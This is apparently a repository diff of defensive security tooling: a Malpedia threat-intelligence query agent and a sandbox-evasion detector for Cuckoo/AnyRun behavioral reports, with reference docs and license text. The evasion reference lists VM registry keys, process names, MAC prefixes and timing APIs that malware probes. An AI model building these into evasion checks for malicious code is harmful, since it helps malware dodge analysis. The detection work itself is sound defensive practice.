```
|
||||
|
||||
## Authentication
|
||||
```
|
||||
Authorization: apitoken YOUR_API_KEY
|
||||
```
|
||||
|
||||
## List Families
|
||||
```
|
||||
GET /list/families
|
||||
```
|
||||
Returns dict of `{family_name: {alt_names, description, attribution, urls}}`.
|
||||
|
||||
## Get Family Details
|
||||
```
|
||||
GET /get/family/{family_name}
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `common_name` | Primary family name |
|
||||
| `alt_names` | List of alternative names |
|
||||
| `description` | Family description |
|
||||
| `attribution` | List of attributed threat actors |
|
||||
| `urls` | Reference URLs |
|
||||
|
||||
## Get YARA Rules
|
||||
```
|
||||
GET /get/yara/{family_name}
|
||||
```
|
||||
Returns dict of YARA rules keyed by rule source.
|
||||
|
||||
## List Actors
|
||||
```
|
||||
GET /list/actors
|
||||
```
|
||||
Returns dict of `{actor_name: {alt_names, description, families}}`.
|
||||
|
||||
## Get Actor Details
|
||||
```
|
||||
GET /get/actor/{actor_name}
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `common_name` | Actor name |
|
||||
| `description` | Actor profile |
|
||||
| `families` | Associated malware families |
|
||||
| `alt_names` | Alternative names (APT designations) |
|
||||
|
||||
## Get Sample
|
||||
```
|
||||
GET /get/sample/{sha256}
|
||||
GET /get/sample/{sha256}/zip
|
||||
```
|
||||
|
||||
## Relationship Types
|
||||
| Relation | Description |
|
||||
|----------|-------------|
|
||||
| `also_known_as` | Family alias |
|
||||
| `shared_actor` | Families used by same threat actor |
|
||||
| `variant_of` | Derived malware variant |
|
||||
|
||||
## MITRE ATT&CK
|
||||
- T1587.001 - Develop Capabilities: Malware
|
||||
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Malpedia Malware Family Relationship Agent - Queries Malpedia API for malware family intelligence."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
|
||||
import requests
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MALPEDIA_API = "https://malpedia.caad.fkie.fraunhofer.de/api"
|
||||
|
||||
|
||||
def malpedia_get(endpoint, api_key):
|
||||
"""Make authenticated GET request to Malpedia API."""
|
||||
headers = {"Authorization": f"apitoken {api_key}"}
|
||||
resp = requests.get(f"{MALPEDIA_API}{endpoint}", headers=headers, timeout=30)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
|
||||
def list_families(api_key):
|
||||
"""List all malware families from Malpedia."""
|
||||
data = malpedia_get("/list/families", api_key)
|
||||
logger.info("Retrieved %d malware families", len(data))
|
||||
return data
|
||||
|
||||
|
||||
def get_family_info(family_name, api_key):
|
||||
"""Get detailed info for a malware family."""
|
||||
return malpedia_get(f"/get/family/{family_name}", api_key)
|
||||
|
||||
|
||||
def get_family_yara(family_name, api_key):
|
||||
"""Get YARA rules for a malware family."""
|
||||
return malpedia_get(f"/get/yara/{family_name}", api_key)
|
||||
|
||||
|
||||
def list_actors(api_key):
|
||||
"""List all threat actors from Malpedia."""
|
||||
data = malpedia_get("/list/actors", api_key)
|
||||
logger.info("Retrieved %d threat actors", len(data))
|
||||
return data
|
||||
|
||||
|
||||
def get_actor_info(actor_name, api_key):
|
||||
"""Get detailed info for a threat actor."""
|
||||
return malpedia_get(f"/get/actor/{actor_name}", api_key)
|
||||
|
||||
|
||||
def build_family_graph(families_data):
|
||||
"""Build relationship graph between malware families."""
|
||||
relationships = []
|
||||
family_actors = defaultdict(list)
|
||||
|
||||
for family_name, info in families_data.items():
|
||||
if not isinstance(info, dict):
|
||||
continue
|
||||
alt_names = info.get("alt_names", [])
|
||||
actors = info.get("attribution", [])
|
||||
urls = info.get("urls", [])
|
||||
|
||||
for actor in actors:
|
||||
family_actors[actor].append(family_name)
|
||||
|
||||
for alt in alt_names:
|
||||
relationships.append({
|
||||
"source": family_name,
|
||||
"target": alt,
|
||||
"relation": "also_known_as",
|
||||
})
|
||||
|
||||
for actor, actor_families in family_actors.items():
|
||||
if len(actor_families) > 1:
|
||||
for i in range(len(actor_families)):
|
||||
for j in range(i + 1, len(actor_families)):
|
||||
relationships.append({
|
||||
"source": actor_families[i],
|
||||
"target": actor_families[j],
|
||||
"relation": "shared_actor",
|
||||
"actor": actor,
|
||||
})
|
||||
return relationships, dict(family_actors)
|
||||
|
||||
|
||||
def analyze_family(family_name, api_key):
|
||||
"""Analyze a specific malware family and its relationships."""
|
||||
info = get_family_info(family_name, api_key)
|
||||
result = {
|
||||
"family": family_name,
|
||||
"description": info.get("description", ""),
|
||||
"alt_names": info.get("alt_names", []),
|
||||
"attribution": info.get("attribution", []),
|
||||
"urls": info.get("urls", [])[:10],
|
||||
"common_name": info.get("common_name", ""),
|
||||
}
|
||||
try:
|
||||
yara_data = get_family_yara(family_name, api_key)
|
||||
result["yara_rule_count"] = len(yara_data) if isinstance(yara_data, dict) else 0
|
||||
except requests.RequestException:
|
||||
result["yara_rule_count"] = 0
|
||||
return result
|
||||
|
||||
|
||||
def generate_report(families_analyzed, relationships, actor_map):
|
||||
"""Generate malware family relationship report."""
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"families_analyzed": len(families_analyzed),
|
||||
"relationships_found": len(relationships),
|
||||
"actors_mapped": len(actor_map),
|
||||
"family_details": families_analyzed,
|
||||
"relationships": relationships[:200],
|
||||
"actor_family_map": {a: f for a, f in list(actor_map.items())[:50]},
|
||||
}
|
||||
print(f"MALPEDIA REPORT: {len(families_analyzed)} families, {len(relationships)} relationships, {len(actor_map)} actors")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Malpedia Malware Family Analysis Agent")
|
||||
parser.add_argument("--api-key", required=True, help="Malpedia API key")
|
||||
parser.add_argument("--family", help="Specific family to analyze")
|
||||
parser.add_argument("--list-families", action="store_true")
|
||||
parser.add_argument("--build-graph", action="store_true", help="Build full relationship graph")
|
||||
parser.add_argument("--output", default="malpedia_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
families_analyzed = []
|
||||
relationships = []
|
||||
actor_map = {}
|
||||
|
||||
if args.family:
|
||||
result = analyze_family(args.family, args.api_key)
|
||||
families_analyzed.append(result)
|
||||
elif args.build_graph:
|
||||
all_families = list_families(args.api_key)
|
||||
relationships, actor_map = build_family_graph(all_families)
|
||||
elif args.list_families:
|
||||
all_families = list_families(args.api_key)
|
||||
families_analyzed = [{"family": k, "alt_names": v.get("alt_names", []) if isinstance(v, dict) else []} for k, v in list(all_families.items())[:100]]
|
||||
|
||||
report = generate_report(families_analyzed, relationships, actor_map)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,71 @@
|
||||
---
|
||||
name: analyzing-malware-sandbox-evasion-techniques
|
||||
description: Detect sandbox and VM evasion techniques in malware samples by analyzing
|
||||
timing checks, VM/hypervisor artifact queries, user-interaction checks, and sleep-inflation
|
||||
patterns from Cuckoo or AnyRun behavioral reports. Use when a sample shows no or
|
||||
minimal activity in a sandbox, when a behavioral report needs review for evasion
|
||||
indicators, or when building detections for anti-analysis techniques.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- sandbox-evasion
|
||||
- malware-analysis
|
||||
- cuckoo
|
||||
- anyrun
|
||||
- mitre-attack
|
||||
- virtualization-detection
|
||||
- behavioral-analysis
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
d3fend_techniques:
|
||||
- Platform Hardening
|
||||
- Restore Object
|
||||
- Process Analysis
|
||||
- System Call Filtering
|
||||
- Restore Software
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1497.001
|
||||
- T1497.003
|
||||
- T1480
|
||||
- T1027.002
|
||||
---
|
||||
|
||||
# Analyzing Malware Sandbox Evasion Techniques
|
||||
|
||||
## Overview
|
||||
|
||||
Sandbox evasion (MITRE ATT&CK T1497) allows malware to detect analysis environments and alter behavior to avoid detection. This skill analyzes behavioral reports from Cuckoo Sandbox and AnyRun for evasion indicators including timing-based checks (GetTickCount, QueryPerformanceCounter, sleep inflation), VM artifact detection (registry keys, MAC address prefixes, process names like vmtoolsd.exe), user interaction checks (mouse movement, keyboard input), and environment fingerprinting (disk size, CPU count, RAM). Detection rules flag samples exhibiting these behaviors for deeper manual analysis.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing malware sandbox evasion techniques
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Cuckoo Sandbox 2.0+ or AnyRun account for behavioral analysis reports
|
||||
- Python 3.8+ with json library for report parsing
|
||||
- Behavioral report exports in JSON format
|
||||
|
||||
## Steps
|
||||
|
||||
1. Parse Cuckoo/AnyRun behavioral report JSON files
|
||||
2. Extract API call sequences for timing-related functions
|
||||
3. Identify VM artifact detection via registry queries and WMI calls
|
||||
4. Detect sleep inflation by comparing requested vs actual sleep durations
|
||||
5. Flag user interaction checks (GetCursorPos, GetAsyncKeyState patterns)
|
||||
6. Score evasion sophistication based on technique count and diversity
|
||||
7. Map detected techniques to MITRE ATT&CK T1497 sub-techniques
|
||||
|
||||
## Expected Output
|
||||
|
||||
JSON report listing detected evasion techniques with MITRE ATT&CK mapping, API call evidence, evasion sophistication score, and classification of evasion categories (timing, VM detection, user interaction, environment fingerprinting).
|
||||
@@ -0,0 +1,84 @@
|
||||
# Malware Sandbox Evasion Techniques API Reference
|
||||
|
||||
## MITRE ATT&CK T1497 Sub-techniques
|
||||
|
||||
| Sub-technique | ID | Evasion Method |
|
||||
|---|---|---|
|
||||
| System Checks | T1497.001 | VM artifacts, registry keys, MAC prefixes, process names |
|
||||
| User Activity Based Checks | T1497.002 | Mouse movement, keyboard input, foreground window |
|
||||
| Time Based Evasion | T1497.003 | GetTickCount, sleep inflation, RDTSC timing |
|
||||
|
||||
## Cuckoo Sandbox Report JSON Structure
|
||||
|
||||
### API Call Format
|
||||
```json
|
||||
{
|
||||
"behavior": {
|
||||
"processes": [
|
||||
{
|
||||
"process_name": "malware.exe",
|
||||
"pid": 1234,
|
||||
"calls": [
|
||||
{
|
||||
"api": "GetTickCount",
|
||||
"category": "system",
|
||||
"arguments": {},
|
||||
"return": "123456789"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Timing API Indicators
|
||||
|
||||
| API | Purpose | Evasion Use |
|
||||
|---|---|---|
|
||||
| GetTickCount / GetTickCount64 | System uptime in ms | Check if uptime < 20min (sandbox) |
|
||||
| QueryPerformanceCounter | High-res timer | Measure sleep accuracy |
|
||||
| GetSystemTimeAsFileTime | System time | Detect time acceleration |
|
||||
| NtQuerySystemTime | Kernel time query | Compare with user-mode time |
|
||||
| RDTSC | CPU timestamp counter | Detect VM overhead in timing |
|
||||
|
||||
## VM Artifact Indicators
|
||||
|
||||
### Registry Keys
|
||||
```
|
||||
HKLM\SOFTWARE\VMware, Inc.\VMware Tools
|
||||
HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
|
||||
HKLM\HARDWARE\ACPI\DSDT\VBOX__
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
|
||||
```
|
||||
|
||||
### VM Process Names
|
||||
```
|
||||
vmtoolsd.exe, vmwaretray.exe # VMware
|
||||
vboxservice.exe, vboxtray.exe # VirtualBox
|
||||
qemu-ga.exe # QEMU
|
||||
prl_tools.exe # Parallels
|
||||
```
|
||||
|
||||
### VM MAC Address Prefixes
|
||||
```
|
||||
00:0C:29 VMware
|
||||
00:50:56 VMware
|
||||
08:00:27 VirtualBox
|
||||
00:1C:42 Parallels
|
||||
52:54:00 QEMU/KVM
|
||||
```
|
||||
|
||||
## AnyRun Report API
|
||||
|
||||
### Get Report
|
||||
```
|
||||
GET https://api.any.run/v1/analysis/{task_id}
|
||||
Authorization: API-Key <key>
|
||||
```
|
||||
|
||||
## CLI Usage
|
||||
```bash
|
||||
python agent.py --report cuckoo_report.json --output evasion_report.json
|
||||
python agent.py --report report.json --min-sleep-ms 30000
|
||||
```
|
||||
@@ -0,0 +1,204 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Analyze malware sandbox evasion techniques from Cuckoo/AnyRun behavioral reports."""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
TIMING_APIS = {
|
||||
"GetTickCount", "GetTickCount64", "QueryPerformanceCounter",
|
||||
"QueryPerformanceFrequency", "GetSystemTimeAsFileTime", "NtQuerySystemTime",
|
||||
"timeGetTime", "GetLocalTime", "GetSystemTime",
|
||||
}
|
||||
|
||||
SLEEP_APIS = {"Sleep", "SleepEx", "NtDelayExecution", "WaitForSingleObject"}
|
||||
|
||||
VM_REGISTRY_KEYS = [
|
||||
"HKLM\\SOFTWARE\\VMware", "HKLM\\SOFTWARE\\Oracle\\VirtualBox",
|
||||
"HKLM\\HARDWARE\\ACPI\\DSDT\\VBOX", "HKLM\\SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
|
||||
"HKLM\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters",
|
||||
"HKLM\\HARDWARE\\Description\\System\\SystemBiosVersion",
|
||||
]
|
||||
|
||||
VM_PROCESSES = {
|
||||
"vmtoolsd.exe", "vmwaretray.exe", "vboxservice.exe", "vboxtray.exe",
|
||||
"qemu-ga.exe", "vmusrvc.exe", "prl_tools.exe", "xenservice.exe",
|
||||
"windanr.exe", "vdagent.exe",
|
||||
}
|
||||
|
||||
VM_MAC_PREFIXES = ["00:0C:29", "00:50:56", "08:00:27", "00:1C:42", "00:16:3E", "52:54:00"]
|
||||
|
||||
USER_INTERACTION_APIS = {
|
||||
"GetCursorPos", "GetAsyncKeyState", "GetForegroundWindow",
|
||||
"GetLastInputInfo", "mouse_event", "keybd_event",
|
||||
}
|
||||
|
||||
WMI_EVASION_QUERIES = [
|
||||
"Win32_ComputerSystem", "Win32_BIOS", "Win32_DiskDrive",
|
||||
"Win32_PhysicalMemory", "Win32_Processor",
|
||||
]
|
||||
|
||||
|
||||
def parse_cuckoo_report(filepath):
|
||||
"""Parse a Cuckoo Sandbox behavioral report JSON."""
|
||||
with open(filepath) as f:
|
||||
report = json.load(f)
|
||||
behavior = report.get("behavior", {})
|
||||
api_calls = []
|
||||
for process in behavior.get("processes", []):
|
||||
for call in process.get("calls", []):
|
||||
api_calls.append({
|
||||
"api": call.get("api", ""),
|
||||
"category": call.get("category", ""),
|
||||
"arguments": call.get("arguments", {}),
|
||||
"return": call.get("return", ""),
|
||||
"process_name": process.get("process_name", ""),
|
||||
"pid": process.get("pid", 0),
|
||||
})
|
||||
return api_calls, report
|
||||
|
||||
|
||||
def detect_timing_checks(api_calls):
|
||||
"""Detect timing-based sandbox evasion via GetTickCount, QPC, etc."""
|
||||
findings = []
|
||||
timing_count = 0
|
||||
for call in api_calls:
|
||||
if call["api"] in TIMING_APIS:
|
||||
timing_count += 1
|
||||
if timing_count >= 3:
|
||||
findings.append({
|
||||
"technique": "Timing-Based Evasion",
|
||||
"mitre_id": "T1497.003",
|
||||
"api_count": timing_count,
|
||||
"apis_used": list({c["api"] for c in api_calls if c["api"] in TIMING_APIS}),
|
||||
"severity": "high",
|
||||
"description": f"{timing_count} timing API calls detected; malware may be measuring execution time to detect sandbox acceleration",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def detect_sleep_inflation(api_calls, min_sleep_ms=60000):
|
||||
"""Detect sleep calls with long durations used to evade sandbox time limits."""
|
||||
findings = []
|
||||
for call in api_calls:
|
||||
if call["api"] not in SLEEP_APIS:
|
||||
continue
|
||||
ms = 0
|
||||
args = call.get("arguments", {})
|
||||
if isinstance(args, dict):
|
||||
ms = int(args.get("Milliseconds", args.get("milliseconds", 0)))
|
||||
elif isinstance(args, list):
|
||||
for a in args:
|
||||
if isinstance(a, dict) and a.get("name", "").lower() == "milliseconds":
|
||||
ms = int(a.get("value", 0))
|
||||
if ms >= min_sleep_ms:
|
||||
findings.append({
|
||||
"technique": "Sleep Inflation",
|
||||
"mitre_id": "T1497.003",
|
||||
"api": call["api"],
|
||||
"sleep_ms": ms,
|
||||
"sleep_seconds": ms / 1000,
|
||||
"process": call["process_name"],
|
||||
"severity": "high",
|
||||
"description": f"Sleep call of {ms / 1000:.0f}s detected; likely delaying execution to outlast sandbox analysis window",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def detect_vm_artifact_checks(api_calls):
|
||||
"""Detect VM artifact queries (registry, processes, MAC addresses)."""
|
||||
findings = []
|
||||
for call in api_calls:
|
||||
args_str = json.dumps(call.get("arguments", "")).lower()
|
||||
for reg_key in VM_REGISTRY_KEYS:
|
||||
if reg_key.lower() in args_str:
|
||||
findings.append({
|
||||
"technique": "VM Registry Artifact Check",
|
||||
"mitre_id": "T1497.001",
|
||||
"registry_key": reg_key,
|
||||
"api": call["api"],
|
||||
"severity": "high",
|
||||
})
|
||||
break
|
||||
for wmi_query in WMI_EVASION_QUERIES:
|
||||
if wmi_query.lower() in args_str:
|
||||
findings.append({
|
||||
"technique": "WMI Environment Fingerprinting",
|
||||
"mitre_id": "T1497.001",
|
||||
"wmi_class": wmi_query,
|
||||
"api": call["api"],
|
||||
"severity": "medium",
|
||||
})
|
||||
break
|
||||
return findings
|
||||
|
||||
|
||||
def detect_user_interaction_checks(api_calls):
|
||||
"""Detect checks for user interaction (mouse, keyboard, foreground window)."""
|
||||
interaction_apis = [c for c in api_calls if c["api"] in USER_INTERACTION_APIS]
|
||||
if len(interaction_apis) >= 2:
|
||||
return [{
|
||||
"technique": "User Interaction Detection",
|
||||
"mitre_id": "T1497.002",
|
||||
"api_count": len(interaction_apis),
|
||||
"apis_used": list({c["api"] for c in interaction_apis}),
|
||||
"severity": "medium",
|
||||
"description": "Malware checks for user input to determine if running in automated sandbox",
|
||||
}]
|
||||
return []
|
||||
|
||||
|
||||
def score_evasion_sophistication(all_findings):
|
||||
"""Score evasion sophistication based on technique diversity."""
|
||||
technique_ids = {f["mitre_id"] for f in all_findings}
|
||||
categories = {f["technique"].split()[0] for f in all_findings}
|
||||
score = min(len(all_findings) * 10 + len(technique_ids) * 15 + len(categories) * 10, 100)
|
||||
level = "low" if score < 30 else "medium" if score < 60 else "high"
|
||||
return {"score": score, "level": level, "unique_techniques": len(technique_ids), "total_indicators": len(all_findings)}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Sandbox Evasion Technique Analyzer")
|
||||
parser.add_argument("--report", required=True, help="Path to Cuckoo/AnyRun behavioral report JSON")
|
||||
parser.add_argument("--min-sleep-ms", type=int, default=60000, help="Minimum sleep duration to flag (ms)")
|
||||
parser.add_argument("--output", default="evasion_analysis_report.json", help="Output report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
api_calls, raw_report = parse_cuckoo_report(args.report)
|
||||
print(f"[+] Parsed {len(api_calls)} API calls from behavioral report")
|
||||
|
||||
timing = detect_timing_checks(api_calls)
|
||||
sleep = detect_sleep_inflation(api_calls, args.min_sleep_ms)
|
||||
vm_checks = detect_vm_artifact_checks(api_calls)
|
||||
user_checks = detect_user_interaction_checks(api_calls)
|
||||
|
||||
all_findings = timing + sleep + vm_checks + user_checks
|
||||
sophistication = score_evasion_sophistication(all_findings)
|
||||
|
||||
report = {
|
||||
"analysis_time": datetime.utcnow().isoformat() + "Z",
|
||||
"sample_sha256": raw_report.get("target", {}).get("file", {}).get("sha256", ""),
|
||||
"total_api_calls": len(api_calls),
|
||||
"evasion_findings": {
|
||||
"timing_checks": timing,
|
||||
"sleep_inflation": sleep,
|
||||
"vm_artifact_checks": vm_checks,
|
||||
"user_interaction_checks": user_checks,
|
||||
},
|
||||
"total_indicators": len(all_findings),
|
||||
"sophistication": sophistication,
|
||||
"mitre_techniques": ["T1497.001", "T1497.002", "T1497.003"],
|
||||
}
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[+] Timing checks: {len(timing)}")
|
||||
print(f"[+] Sleep inflation: {len(sleep)}")
|
||||
print(f"[+] VM artifact checks: {len(vm_checks)}")
|
||||
print(f"[+] User interaction checks: {len(user_checks)}")
|
||||
print(f"[+] Evasion sophistication: {sophistication['level']} ({sophistication['score']}/100)")
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
